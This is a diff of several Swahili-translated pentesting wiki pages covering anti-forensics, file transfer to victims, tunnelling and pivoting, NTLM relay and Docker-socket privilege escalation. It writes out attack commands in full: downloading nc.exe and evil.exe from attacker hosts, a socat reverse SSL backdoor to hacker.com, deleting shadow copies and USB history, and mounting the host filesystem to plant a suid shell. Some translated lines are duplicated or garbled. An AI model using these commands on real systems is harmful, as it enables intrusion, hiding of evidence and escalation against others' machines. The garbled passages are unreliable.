NFTS inatumia klasta na ukubwa wa chini wa taarifa. Hii inamaanisha kwamba ikiwa faili inachukua klasta na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili itakapofutwa. Hivyo, inawezekana **kuficha data katika nafasi hii ya slack**.
Kuna zana kama slacker zinazoruhusu kuficha data katika nafasi hii "iliyojificha". Hata hivyo, uchambuzi wa `$logfile` na `$usnjrnl` unaweza kuonyesha kuwa baadhi ya data iliongezwa:
![](<../../images/image (452).png>)
Hivyo, inawezekana kurejesha nafasi ya slack kwa kutumia zana kama FTK Imager. Kumbuka kuwa aina hii ya zana inaweza kuhifadhi maudhui yaliyofichwa au hata yaliyosimbwa.
Hivyo, inawezekana kurejesha nafasi ya slack kwa kutumia zana kama FTK Imager. Kumbuka kwamba aina hii ya zana inaweza kuhifadhi maudhui yaliyofichwa au hata yaliyosimbwa.
# UsbKill
Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** bandari yanagundulika.\
Njia moja ya kugundua hii ni kukagua michakato inayoendesha na **kurejea kila script ya python inayotembea**.
Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** ports yanagundulika.\
Njia moja ya kugundua hii ingekuwa kukagua michakato inayotembea na **kurejea kila script ya python inayotembea**.
# Live Linux Distributions
Hizi distros zina **tekelezwa ndani ya RAM** kumbukumbu. Njia pekee ya kuzitambua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi.
Hizi distros zina **tekelezwa ndani ya kumbukumbu ya RAM**. Njia pekee ya kuzitambua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi.
# Secure Deletion
@ -79,12 +79,12 @@ Inawezekana kuzima mbinu kadhaa za kurekodi za windows ili kufanya uchunguzi wa
## Disable Timestamps - UserAssist
Hii ni funguo ya rejista inayohifadhi tarehe na saa wakati kila executable ilipokimbizwa na mtumiaji.
Hii ni funguo ya rejista inayoshikilia tarehe na saa wakati kila executable ilipokimbizwa na mtumiaji.
Kuzima UserAssist kunahitaji hatua mbili:
1. Weka funguo mbili za rejista, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` na `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, zote kuwa sifuri ili kuashiria kwamba tunataka UserAssist izimwe.
2. Futa subtrees zako za rejista zinazofanana na `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
2. Futa subtrees zako za rejista ambazo zinaonekana kama `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Disable Timestamps - Prefetch
@ -93,22 +93,22 @@ Hii itahifadhi taarifa kuhusu programu zilizotekelezwa kwa lengo la kuboresha ut
- Tekeleza `regedit`
- Chagua njia ya faili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
- Bonyeza kulia kwenye `EnablePrefetcher` na `EnableSuperfetch`
- Chagua Badilisha kwenye kila moja ya hizi kubadilisha thamani kutoka 1 (au 3) hadi 0
- Chagua Badilisha kwenye kila moja ya hizi kubadilisha thamani kutoka 1 (au 3) kuwa 0
- Anzisha upya
## Disable Timestamps - Last Access Time
Wakati wowote folda inafunguliwa kutoka kiasi cha NTFS kwenye seva ya Windows NT, mfumo unachukua wakati wa **kupdate timestamp field kwenye kila folda iliyoorodheshwa**, inayoitwa wakati wa mwisho wa ufikiaji. Katika kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji.
Kila wakati folda inafunguliwa kutoka kiasi cha NTFS kwenye seva ya Windows NT, mfumo unachukua wakati wa **k更新 timestamp field kwenye kila folda iliyoorodheshwa**, inayoitwa wakati wa mwisho wa ufikiaji. Katika kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji.
1. Fungua Mhariri wa Rejista (Regedit.exe).
2. Tembelea `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza hii DWORD na weka thamani yake kuwa 1, ambayo itazima mchakato.
4. Funga Mhariri wa Rejista, na uanzishe upya seva.
3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza DWORD hii na weka thamani yake kuwa 1, ambayo itazima mchakato.
4. Funga Mhariri wa Rejista, na anzisha upya seva.
## Delete USB History
Makala yote ya **USB Device Entries** huhifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo zinazoundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\
Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) kuhakikisha umekifuta (na kukifuta).
Makala yote ya **USB Device Entries** yanahifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo zinazoundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\
Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) ili kuwa na uhakika umekifuta (na kufuta).
Faili nyingine inayohifadhi taarifa kuhusu USB ni faili `setupapi.dev.log` ndani ya `C:\Windows\INF`. Hii pia inapaswa kufutwa.
@ -117,13 +117,13 @@ Faili nyingine inayohifadhi taarifa kuhusu USB ni faili `setupapi.dev.log` ndani
**Orodha** ya nakala za kivuli kwa kutumia `vssadmin list shadowstorage`\
**Futa** kwa kuendesha `vssadmin delete shadow`
Unaweza pia kuzifuta kupitia GUI ukifuatilia hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Unaweza pia kuzifuta kupitia GUI kwa kufuata hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Ili kuzima nakala za kivuli [hatua kutoka hapa](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Fungua programu za Huduma kwa kuandika "services" kwenye kisanduku cha kutafuta maandiko baada ya kubonyeza kitufe cha kuanzisha cha Windows.
2. Kutoka kwenye orodha, pata "Volume Shadow Copy", chagua, kisha upate Mali kwa kubonyeza kulia.
3. Chagua Zime kutoka kwenye orodha ya "Aina ya Kuanzisha", kisha thibitisha mabadiliko kwa kubonyeza Apply na OK.
3. Chagua Zimezima kutoka kwenye orodha ya "Aina ya Kuanzisha", kisha thibitisha mabadiliko kwa kubonyeza Tumia na Sawa.
Pia inawezekana kubadilisha usanidi wa faili zipi zitakazokopwa katika nakala ya kivuli katika rejista `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`

View File

@ -45,7 +45,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### Pakia faili
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- [**SimpleHttpServer printing GET and POSTs (pia vichwa)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Moduli ya Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -181,7 +181,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Ikiwa mwathirika ana SSH, mshambuliaji anaweza kuunganisha saraka kutoka kwa mwathirika hadi kwa mshambuliaji.
Ikiwa mwathirika ana SSH, mshambuliaji anaweza kuunganisha directory kutoka kwa mwathirika hadi kwa mshambuliaji.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -228,7 +228,7 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa python:
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
@ -248,13 +248,13 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Katika **mhasiriwa**, ungana na seva ya Kali:
Katika **muhanga**, ungana na seva ya Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Pakua faili yenye PHP oneliner:
Pakua faili na PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,14 +296,18 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga tena kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuunda faili la binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha kuunda faili hadi ukubwa wa 64 kb**.
Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga tena kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuunda faili la binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha kuunganisha faili hadi ukubwa wa 64 kb**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Kisha nakili-na-kupaste maandiko hayo kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
Kisha nakala-na-kupasta maandiko hayo kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
{{#include ../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## Nmap tip
> [!WARNING]
> **ICMP** na **SYN** skani haziwezekani kupitishwa kupitia socks proxies, hivyo lazima **tuondoe kugundua ping** (`-Pn`) na kubaini **TCP skani** (`-sT`) ili hii ifanye kazi.
> **ICMP** na **SYN** skani haziwezekani kupitishwa kupitia socks proxies, hivyo tunapaswa **kuondoa kugundua ping** (`-Pn`) na kubainisha **TCP skani** (`-sT`) ili hii ifanye kazi.
## **Bash**
@ -33,7 +33,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Local Port2Port
Fungua Bandari Mpya kwenye SSH Server --> Bandari nyingine
Fungua Bandari Mpya kwenye SSH Server --> Bandari Nyingine
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -51,7 +51,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Porti za ndani --> Kihosti kilichoshambuliwa (SSH) --> Popote
Local Port --> Compromised host (SSH) --> Popote
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Washa uhamasishaji upande wa Server
Washa upitishaji upande wa Server
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
@ -104,7 +104,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Porti za ndani --> Kituo kilichovunjwa (kipindi kinachofanya kazi) --> Sanduku_tatu:Port
Local port --> Compromised host (active session) --> Third_box:Port
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Fungua bandari katika teamserver inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**.
Fungua bandari katika server ya timu inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -150,17 +150,17 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
Ili kuzingatia:
To note:
- Reverse port forward ya Beacon imeundwa ili **kufanya tunnel trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi**.
- Trafiki **inafanywa tunnel ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
- **Haki za admin hazihitajiki** kuunda reverse port forwards kwenye bandari za juu.
- **Haki za Admin hazihitajiki** kuunda reverse port forwards kwenye bandari za juu.
### rPort2Port local
> [!WARNING]
> Katika kesi hii, **bandari imefunguliwa katika mwenyeji wa beacon**, sio katika Team Server na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Team Server) na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa.
```
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
@ -186,7 +186,7 @@ Unahitaji kutumia **toleo sawa kwa mteja na seva**
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Uhamasishaji wa bandari
### Kuelekeza bandari
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -219,7 +219,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
# Display the tun interfaces -- Attacker
interface_list
```
### Agent Binding and Listening
### Kuweka na Kusikiliza kwa Wakala
```bash
# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
@ -286,10 +286,12 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathirika:
Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho katika konso ya mwathirika:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tunnel
**/bin/sh console**
@ -366,7 +368,7 @@ Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupanua trafi
## Proxify Windows GUI Apps
Unaweza kufanya programu za Windows GUI zipitie kupitia proxy kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
Unaweza kufanya programu za Windows GUI zipite kupitia proxy kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kupanua na muunganisho kwa IP unazotaka kupanua.
@ -381,8 +383,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\
Kwa mfano, inapeleka bandari 443
Inathibitisha dhidi ya proxy na kuunganisha bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\
Kwa mfano, hiyo inapeleka bandari 443
```
Username Alice
Password P@ssw0rd
@ -390,8 +392,8 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Sasa, ikiwa unakamilisha kwa mfano katika mwathirika huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\
Unaweza pia kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
Sasa, ikiwa utaweka kwa mfano katika mwathirika huduma ya **SSH** kusikiliza katika bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\
Pia unaweza kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza katika bandari 2222.
## YARP
@ -403,21 +405,21 @@ Kipindi cha kurudi kilichoundwa na Microsoft. Unaweza kukipata hapa: [https://gi
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Root inahitajika katika mifumo yote miwili ili kuunda tun adapters na kupitisha data kati yao kwa kutumia maswali ya DNS.
Root inahitajika katika mifumo yote ili kuunda tun adapters na kupitisha data kati yao kwa kutumia maswali ya DNS.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH uliofinyangwa kupitia tuneli hii kwa kutumia:
Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH ulioshinikizwa kupitia tuneli hii kwa kutumia:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
[**Pakua kutoka hapa**](https://github.com/iagox86/dnscat2)**.**
[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
Inaunda channel ya C\&C kupitia DNS. Haihitaji ruhusa za root.
Inaunda channel ya C\&C kupitia DNS. Haihitaji ruhusa za mzizi.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -440,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Badilisha DNS ya proxychains
Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**.
Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kuibadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**.
## Tunnels katika Go
@ -453,7 +455,7 @@ Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupi
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root inahitajika katika mifumo yote ili kuunda tun adapters na kutunga data kati yao kwa kutumia ombi la ICMP echo.
Root inahitajika katika mifumo yote miwili ili kuunda tun adapters na kutunga data kati yao kwa kutumia ombi la ICMP echo.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -494,7 +496,7 @@ chmod a+x ./ngrok
**Hati:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
_Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima._
_Ipo pia uwezekano wa kuongeza uthibitisho na TLS, ikiwa ni lazima._
#### Tunneling TCP
```bash
@ -504,7 +506,7 @@ _Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima._
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### Kuweka wazi faili kwa HTTP
#### Kuonyesha faili kwa kutumia HTTP
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -521,12 +523,12 @@ Moja kwa moja kutoka stdout au katika kiolesura cha HTTP [http://127.0.0.1:4040]
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
#### ngrok.yaml mfano rahisi wa usanidi
#### ngrok.yaml mfano wa usanidi rahisi
Inafungua mabwawa 3:
- 2 TCP
- 1 HTTP na uonyeshaji wa faili za kudumu kutoka /tmp/httpbin/
- 1 HTTP yenye uwasilishaji wa faili za kudumu kutoka /tmp/httpbin/
```yaml
tunnels:
mytcp:

View File

@ -22,7 +22,7 @@
- **Responder** ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, kikijibu kwa kuchagua kulingana na aina za maswali, hasa lengo likiwa huduma za SMB.
- Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika `/etc/responder/Responder.conf`.
- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuzihifadhi katika saraka ya `/usr/share/responder/logs`.
- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuziokoa katika saraka ya `/usr/share/responder/logs`.
- Inasaidia IPv4 na IPv6.
- Toleo la Windows la Responder linapatikana [hapa](https://github.com/lgandx/Responder-Windows).
@ -50,10 +50,10 @@ Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa m
## Inveigh
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu nyekundu, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya spoofing na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama toleo kuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya udukuzi na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh inaweza kuendeshwa kupitia PowerShell:
```powershell
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Au kutekelezwa kama binary ya C#:
@ -62,14 +62,14 @@ Inveigh.exe
```
### NTLM Relay Attack
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, ikitoa shell ya mfumo ikiwa ni mafanikio. Masharti muhimu ni:
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa linafanikiwa. Masharti muhimu ni:
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa.
- SMB signing inapaswa kuzuiwa.
- Saini ya SMB inapaswa kuzuiliwa.
#### 445 Port Forwarding and Tunneling
Katika hali ambapo utangulizi wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuhamasishwa na kutunzwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
PortBender setup and operation in Cobalt Strike:
```bash
@ -87,15 +87,15 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Zana Nyingine za Shambulio la NTLM Relay
### Other Tools for NTLM Relay Attack
- **Metasploit**: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
- **Metasploit**: Sanidiwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
- **smbrelayx**: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka backdoors.
- **MultiRelay**: Zana kutoka kwenye suite ya Responder kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.
- **MultiRelay**: Chombo kutoka kwenye suite ya Responder kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutupa hashes.
Kila zana inaweza kuwekewa mipangilio ili kufanya kazi kupitia SOCKS proxy ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
Kila chombo kinaweza kuundwa kufanya kazi kupitia SOCKS proxy ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
### Uendeshaji wa MultiRelay
### MultiRelay Operation
MultiRelay inatekelezwa kutoka kwenye _**/usr/share/responder/tools**_ directory, ikilenga IP au watumiaji maalum.
```bash

View File

@ -7,10 +7,10 @@ Kuna nyakati ambapo una **ufikiaji wa docker socket** na unataka kuutumia ili **
### Via mount
Unaweza **kuunganisha** sehemu tofauti za **filesystem** katika kontena linalotembea kama root na **kuzipata**.\
Unaweza pia **kuitumia mount ili kuinua mamlaka** ndani ya kontena.
Pia unaweza **kudhulumu kuunganisha ili kuinua mamlaka** ndani ya kontena.
- **`-v /:/host`** -> Unganisha filesystem ya mwenyeji katika kontena ili uweze **kusoma filesystem ya mwenyeji.**
- Ikiwa unataka **kujihisi kama uko kwenye mwenyeji** lakini uko kwenye kontena unaweza kuzima mitambo mingine ya ulinzi kwa kutumia bendera kama:
- Ikiwa unataka **kujisikia kama uko kwenye mwenyeji** lakini uko kwenye kontena unaweza kuzima mitambo mingine ya ulinzi kwa kutumia bendera kama:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -20,24 +20,24 @@ Unaweza pia **kuitumia mount ili kuinua mamlaka** ndani ya kontena.
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Hii ni sawa na njia ya awali, lakini hapa tunafanya **kuunganisha diski ya kifaa**. Kisha, ndani ya kontena endesha `mount /dev/sda1 /mnt` na unaweza **kupata** **filesystem ya mwenyeji** katika `/mnt`
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Hii ni sawa na njia ya awali, lakini hapa tuna **unganisha diski ya kifaa**. Kisha, ndani ya kontena endesha `mount /dev/sda1 /mnt` na unaweza **kuzipata** **filesystem ya mwenyeji** katika `/mnt`
- Endesha `fdisk -l` kwenye mwenyeji ili kupata kifaa `</dev/sda1>` cha kuunganisha
- **`-v /tmp:/host`** -> Ikiwa kwa sababu fulani unaweza **kuunganisha tu directory fulani** kutoka kwa mwenyeji na una ufikiaji ndani ya mwenyeji. Unganisha na uunde **`/bin/bash`** yenye **suid** katika directory iliyounganishwa ili uweze **kuikimbia kutoka kwa mwenyeji na kuinua hadi root**.
> [!NOTE]
> Kumbuka kwamba huenda usiweze kuunganisha folda `/tmp` lakini unaweza kuunganisha **folda nyingine inayoweza kuandikwa**. Unaweza kupata directories zinazoweza kuandikwa kwa kutumia: `find / -writable -type d 2>/dev/null`
>
> **Kumbuka kwamba si directories zote katika mashine ya linux zitasaidia suid bit!** Ili kuangalia ni directories zipi zinasaidia suid bit endesha `mount | grep -v "nosuid"` Kwa mfano kawaida `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` na `/var/lib/lxcfs` hazisaidii suid bit.
